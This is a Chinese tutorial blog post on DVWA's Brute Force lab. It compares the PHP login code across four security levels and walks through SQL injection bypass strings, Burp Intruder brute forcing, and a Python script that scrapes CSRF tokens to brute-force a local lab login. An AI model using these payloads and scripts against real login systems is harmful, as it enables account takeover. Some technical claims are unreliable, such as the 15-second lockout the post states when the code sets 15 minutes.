1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > DVWA--Brute Force(暴力破解)--四个等级

DVWA--Brute Force(暴力破解)--四个等级

时间:2024-03-28 08:38:43

相关推荐

DVWA--Brute Force(暴力破解)--四个等级

DVWA的Brute Force,也就是我们所熟悉的暴力破解,这里它一共有四个等级

Low、Medium、High、Impossible

这里我们就源码简单探讨一下

Low

源代码:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>

mysqli_query(connection,query,resultmode):执行一条 MySQL 查询

connection 必需。规定要使用的 MySQL 连接

query 必需,规定查询字符串。

resultmode 可选。一个常量。可以是下列值中的任意一个:

MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)

MYSQLI_STORE_RESULT(默认)

针对成功的SELECT,SHOW,DESCRIBE或EXPLAIN查询,将返回一个mysqli_result对象。针对其他成功的查询,将返回TRUE。如果失败,则返回FALSE

$GLOBALS:引用全局作用域中可用的全部变量

$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)

PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键

or:php其中一个运算符,表示或

$x or $y 如果 $x 和 $y 至少有一个为 true,则返回 true

命令1 or 命令2:如果命令1返回true,则不执行or后面的命令;如果命令1返回false,则执行命令2

和die连用比较多,举例:

<?php$site = "/";fopen($site,"r") //以只读形式打开$site这个网址or die("Unable to connect to $site");/*如果可以打开网站,不执行die;如果不能打开,执行die(die输出一条消息,并退出当前脚本,所以是true的),执行die之后,不管发生什么,程序都已经停止运行,并且显示指定出错信息,也就达到了调试的目的*/?>

die(status):输出一条消息,并退出当前脚本

status 必需。规定在退出脚本之前需要输出的消息或状态号。状态号不会被写入输出

如果 status 是字符串,则该函数会在退出前输出字符串。

如果 status 是整数,这个值会被用作退出状态。退出状态的值在 0 至 254 之间。退出状态 255 由 PHP 保留,不会被使用。状态 0 用于成功地终止程序

注释:如果 PHP 的版本号大于等于 4.2.0,那么在 status 是整数的情况下,不会输出该参数

is_object($var):用于检测变量是否是一个对象

$var:要检测的变量

如果指定变量为对象,则返回TRUE,否则返回FALSE

mysqli_error(connection):返回上一个 MySQL 操作产生的文本错误信息

本函数返回上一个 MySQL 函数的错误文本,如果没有出错则返回 ‘’(空字符串)

connection 可选。规定 SQL 连接标识符。如果未规定,则使用上一个打开的连接

举例:

<?php$con = mysqli_connect("localhost","username","password");if (!$con){die(mysqli_error());}mysqli_close($con);?>

mysqli_connect_error():返回上一次连接错误的错误描述

返回一个描述错误的字符串。如果没有错误发生则返回NULL

mysqli_num_rows(result):返回结果集中行的数目

result 必需。规定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的结果集标识符

举例:

<?php$con = mysqli_connect("localhost", "hello", "321");if (!$con){die('Could not connect: ' . mysqli_error());}$db_selected = mysqli_select_db("test_db",$con);$sql = "SELECT * FROM person";$result = mysqli_query($sql,$con);echo mysqli_num_rows($result);mysqli_close($con);?>/*输出类似:3*/

mysqli_fetch_assoc(result):从结果集中取得一行作为关联数组

本函数返回的字段名是区分大小写的

返回值: 返回代表读取行的关联数组。如果结果集中没有更多的行则返回NULL

举例:

<?php$con = mysqli_connect("localhost", "hello", "321");if (!$con){die('Could not connect: ' . mysqli_error());}$db_selected = mysqli_select_db("test_db",$con);$sql = "SELECT * from Person WHERE Lastname='Adams'";$result = mysqli_query($sql,$con);print_r(mysqli_fetch_assoc($result));mysqli_close($con);?>/*输出:Array([LastName] => Adams[FirstName] => John[City] => London) */

is_null ($var):检测变量是否为 NULL

var 允许传入任意参数

如果var是NULL则返回 TRUE,否则返回 FALSE

mysqli_close(connection):关闭先前打开的数据库连接

connection 必需。规定要关闭的 MySQL 连接

返回值: 如果成功则返回TRUE,如果失败则返回FALSE

渗透过程

1.登陆前打开Burpsuite抓包,抓到GET请求包

发送到Intruder,选择需要爆破的变量,这里我们假设已知用户名为admin的情况

配置爆破字典

调整线程,提高爆破速度

爆破成功,有一个Length和其他都不相同,这里可以看出它就是正确密码

注:这里也可以使用万能密码登录,例如

admin' or '1'='1可以admin' and 1=1#不可以

主要由于mysqli_num_rows( $result ) == 1,因为这个表示从数据库中得到的结果只有一条才符合条件,可以将拼接后的mysql语句放入mysql中执行

成功的:

例如使用admin' or '1'='1后,密码为空,拼接后的内容为$query = "SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = 'd41d8cd98f00b204e9800998ecf8427e';";

例如使用admin' and 1=1#后,运行过程如下,因为是GET请求,所以收到请求后,URL如下http://192.168.1.110/dvwa/vulnerabilities/brute/?username=admin%27+and+1%3D1%23&password=&Login=Login#注:URL中的#是不会传入php代码中,因为它是锚点,除了被编码,就像这里的%23,%23会在传入php中时变为#因为<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];释义:php内部$user=admin' and 1=1#,这里的#就是由URL中的%23传入得来// Get password$pass = $_GET[ 'password' ];释义:php内部password为null$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //$query = "SELECT * FROM `users` WHERE user = 'admin' and 1=1#' AND password = '$pass';"; ?>

失败的:

admin’ or 1=1#

拼接后如下:

SELECT * FROM `users` WHERE user = 'admin' or 1=1#' AND password = 'd41d8cd98f00b204e9800998ecf8427e';

还有个疑问,为什么and 1=1可以,or 1=1却不可以?

知道他们的区别就行:and 要满足所有条件,or只要满足一个条件即可,这不是重点,关键在于SQL查询语句中or 1=1表示把表中的所有数据都查询出来(注:前提是or 1=1或or ‘1’='1’后面没有任何内容,如果有and等其他内容还是会显示一条数据),而and 1=1和有没有都一样,并且or 1=0只显示一个数据,and 1=0报错。

所有对比如下:

Medium

源代码:

<?php if( isset( $_GET[ 'Login' ] ) ) {// Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else {// Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

部分代码释义:

mysqli_real_escape_string(connection,escapestring):转义在SQL语句中使用的字符串中的特殊字符

connection 必需。规定要使用的 MySQL 连接

escapestring 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z

返回值: 返回已转义的字符串

举例:

这里举的不是很好但是大致可以理解

假设$a是变量(实则是一个字符串),以上代码返回true,假设你传入一个$a传入一个单引号,那么我们看看会发生什么

假设上面使用的是mysqli_real_escape_string()函数,是这个函数添加的\,转义了第2个单引号;此时上面图中的第2个单引号和第3个单引号不能构成空,也就是’ ‘;因为嘛,被转义的单引号现在仅仅就是个字符,并不能使用它的任何“权利”;比如它要和另一个单引号结合,这是不可能的,因为你已经被转义了;虽然你加了\外表还是’,但你和第3个单引号内在是不一样的(这里所说单引号,都是上图中的)

trigger_error(errormsg,errortype):创建用户级别的错误消息。

trigger_error() 函数能结合内置的错误处理器所关联,或者可以使用用户定义的函数作为新的错误处理程序(set_error_handler())

errormsg 必需。规定错误消息。最大长度 1024 字节。

errortype 可选。规定错误类型。可能的值:

E_USER_ERROR

E_USER_WARNING

E_USER_NOTICE(默认)

如果规定了错误的 errortype,则返回 FALSE。否则返回 TRUE

举例:

<?phpif ($usernum>10) {trigger_error("Number cannot be larger than 10");}?> /*以上代码的输出类似这样:Notice: Number cannot be larger than 10in C:\webfolder\test.php on line 6*/

E_USER_ERROR

E_USER_ERROR只能通过trigger_error($ msg,E_USER_ERROR)手动触发.E_USER_ERROR是用户自定义错误类型,可以被设置为错误处理函数捕获退出运行

sleep(seconds):延迟执行当前脚本若干秒

seconds 必需。规定延迟执行脚本的秒数

如果指定秒数是负数,该函数将抛出一个错误

如果成功则返回0,如果错误则返回FALSE。

如果调用被信号中断,该函数返回一个非零值。在Windows平台上,该值将总是192,表示Windows API中的WAIT_IO_COMPLETION常量的值。在其他平台上,返回值将是剩余的延迟秒数

medium代码用mysqli_real_escape_string(connection,escapestring)对输入的用户名与密码进行了转义,防止了利用单引号,双引号等参数构造进行SQL注入,这里的sleep(2),表示登陆失败时,延迟2s返回登录失败信息,这就造成了每一次爆破如果密码错误,进行下一次爆破要比之前Low级别的代码多上2s延迟,其他没有什么。

High

源代码:

<?php if( isset( $_GET[ 'Login' ] ) ) {// Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else {// Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

部分函数释义:

stripslashes(string):删除反斜杠

string 必需。规定要检查的字符串

rand(min,max):返回随机整数

min,max 可选。规定随机数产生的范围

如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15);在某些平台下(例如 Windows)RAND_MAX 只有 32768。如果需要的范围大于 32768,那么指定 min 和 max 参数就可以生成大于 RAND_MAX 的数了,或者考虑用 mt_rand() 来替代它

High级别的代码使用了Anti-CSRF token来抵御CSRF的攻击,使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击

由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做user_token的检查,再进行sql查询。

方法一:使用burpsuite爆破

前提:截取到数据包时,不可放行,要保持截取的状态,否则无法Refetch response,造成无法爆破

例:爆破时保持该状态

(1)抓到包后设置Positions

(2)设置Options

①设置线程

②找到Grep-Extract,选择Extract the following items from responses:,再点击add(下图中是我之前就已经添加了的)

③获取返回页面的源码

④找到需要爆破的user_token的值,然后点击OK,这里记得保存该值

(3)设置payloads

注:Positions中user_token的值是不可以的

(4)之后就可以开始攻击

注:该方法成功爆破后无法再次爆破,需要重新截取数据包重新操作!!!

方法二:使用后burp中宏自动化获取token进行攻击

参考我的另一篇文章(以DVWA为例):Burpsuite中宏的使用

方法三:我们用python3写一段代码进行自动化爆破

from bs4 import BeautifulSoupimport requestsdef get_token(requrl,header):response = requests.get(url=requrl,headers=header)print(response.status_code,len(response.content)) # response.status_code(),输出状态码 response.content(),获取响应的内容soup = BeautifulSoup(response.text,"html.parser") # 获取被抓取页面的html代码,并使用html.parser来实例化BeautifulSoup,属于固定套路input = soup.select("input[type='hidden']") # 返回的是一个list列表user_token = input[0]['value']#获取用户的tokenreturn user_tokenif __name__ =='__main__':requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/"header = {"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Accept-Language" : "zh-CN,zh;q=0.9,en;q=0.8","Connection" : "keep-alive","Cookie" : "security=high; PHPSESSID=qcssnmjr6hs4ntsile37dav20h","Host" : "127.0.0.1:8008","Referer" : "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/","Upgrade-Insecure-Requests" : "1","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"}user_token = get_token(requrl,header)i = 0for line in open("C:/Users/Yuen/Desktop/pass.txt"):requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_tokeni = i + 1print(i,'admin',line.strip(),end=" ")user_token = get_token(requrl,header)if (i == 10):break

这里我就爆破了10次,作为演示,实际次数取决于你字典的大小和你的需求

Impossible

源代码:

<?phpif( isset( $_POST[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time = 15;$account_locked= false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {// User locked out. Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout = $last_login + ($lockout_time * 60);$timenow = time();/*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked<br />";}}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login = $row[ 'last_login' ];// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Generate Anti-CSRF tokengenerateSessionToken();?>

Impossible级别的代码加入了可靠的防爆破机制,当检测到错误登录3次后将会锁定账户15s,系统会将账户锁定,爆破也就无法继续

同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令

因为我还没有学过PDO,等学完,会写一片PDO笔记分享给大家

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。